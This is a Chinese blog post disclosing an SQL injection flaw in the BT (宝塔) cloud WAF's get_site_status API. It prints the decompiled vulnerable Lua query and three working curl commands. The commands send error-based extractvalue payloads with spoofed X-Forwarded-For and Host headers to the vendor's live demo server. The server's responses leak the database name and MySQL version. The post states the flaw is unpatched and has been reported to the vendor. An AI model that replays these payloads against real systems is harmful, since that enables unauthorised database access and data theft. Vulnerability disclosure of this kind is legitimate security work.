接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞

本文涉及的产品
注册配置 MSE Nacos/ZooKeeper,182元/月
任务调度 XXL-JOB 版免费试用,400 元额度,开发版规格
MSE Nacos/ZooKeeper 企业版试用,1600元额度,限量50份
简介: 接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。请看这段代码

接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。

总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。

请看这段代码

get_site_status = function ()
  if not ngx.ctx.get_uri_args.server_name then
    return Public.get_return_state(false, "参数错误")
  end
  ... 此处省略若干代码
  slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
SELECT 
    SUM(request) as req,
    SUM(err_40x) as err_40x,
    SUM(err_500) as err_500,
    SUM(err_502) as err_502,
    SUM(err_503) as err_503,
    SUM(err_504) as err_504,
    SUM(err_499) as err_499,
    SUM(send_bytes) as send_bytes,
    SUM(receive_bytes) as recv_bytes,
    SUM(pc_count) as pc_count,
    SUM(mobile_count) as mobile_count,
    SUM(spider_baidu) as spider_baidu,
    SUM(spider_google) as spider_google,
    SUM(spider_bing) as spider_bing,
    SUM(spider_360) as spider_360,
    SUM(spider_sogou) as spider_sogou,
    SUM(spider_other) as spider_other,
    SUM(ip_count) as ip_count,
    SUM(pv_count) as pv_count,
    SUM(uv_count) as uv_count
     FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")
  ... 此处省略若干代码
  return Public.get_return_state(true, slot6)
end


这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码

这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。

宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}

从响应来看已经注入成功,通过 updatexml 的报错成功的爆出了库名叫 btwaf

继续执行以下命令:

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}

从响应来看,mysql 版本是 8.1.0

在继续执行以下命令

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}

看起来 select 'hello,world' 也执行成功了,到此为止,基本可以执行任意命令。

漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。

目录
相关文章
|
2月前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
212 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
6月前
|
安全 前端开发 Linux
Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
203 3
Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
|
7月前
|
网络协议 安全 网络安全
雷池WAF+emby+ddnsgo搭建个人影音库,实现远程安全访问流媒体
雷池WAF+emby+ddnsgo搭建个人影音库,实现远程安全访问流媒体
636 5
|
11月前
|
SQL Oracle 数据库
使用访问指导(SQL Access Advisor)优化数据库业务负载
本文介绍了Oracle的SQL访问指导(SQL Access Advisor)的应用场景及其使用方法。访问指导通过分析给定的工作负载,提供索引、物化视图和分区等方面的优化建议,帮助DBA提升数据库性能。具体步骤包括创建访问指导任务、创建工作负载、连接工作负载至访问指导、设置任务参数、运行访问指导、查看和应用优化建议。访问指导不仅针对单条SQL语句,还能综合考虑多条SQL语句的优化效果,为DBA提供全面的决策支持。
274 11
|
SQL 关系型数据库 BI
使用 Webshell 访问 SQL Server 主机并利用 SSRS
使用 Webshell 访问 SQL Server 主机并利用 SSRS
|
SQL 数据管理 数据库
文章初学者指南:SQL新建数据库详细步骤与最佳实践
引言:在当今数字化的世界,数据库管理已经成为信息技术领域中不可或缺的一部分。作为广泛使用的数据库管理系统,SQL已经成为数据管理和信息检索的标准语言。本文将详细介绍如何使用SQL新建数据库,包括准备工作、具体步骤和最佳实践,帮助初学者快速上手。一、准备工作在开始新建数据库之前,你需要做好以下准备工作
950 3
|
SQL 关系型数据库 MySQL
SQL批量插入测试数据的几种方法?
SQL批量插入测试数据的几种方法?
1012 1
|
SQL 安全 测试技术
墨者学院sql手工测试记录
墨者学院sql手工测试记录
|
安全 程序员 网络安全
Kali渗透测试:对软件的溢出漏洞进行测试
Kali渗透测试:对软件的溢出漏洞进行测试
189 1
|
安全 Java 应用服务中间件
渗透测试-JBoss 5.x/6.x反序列化漏洞
渗透测试-JBoss 5.x/6.x反序列化漏洞
214 14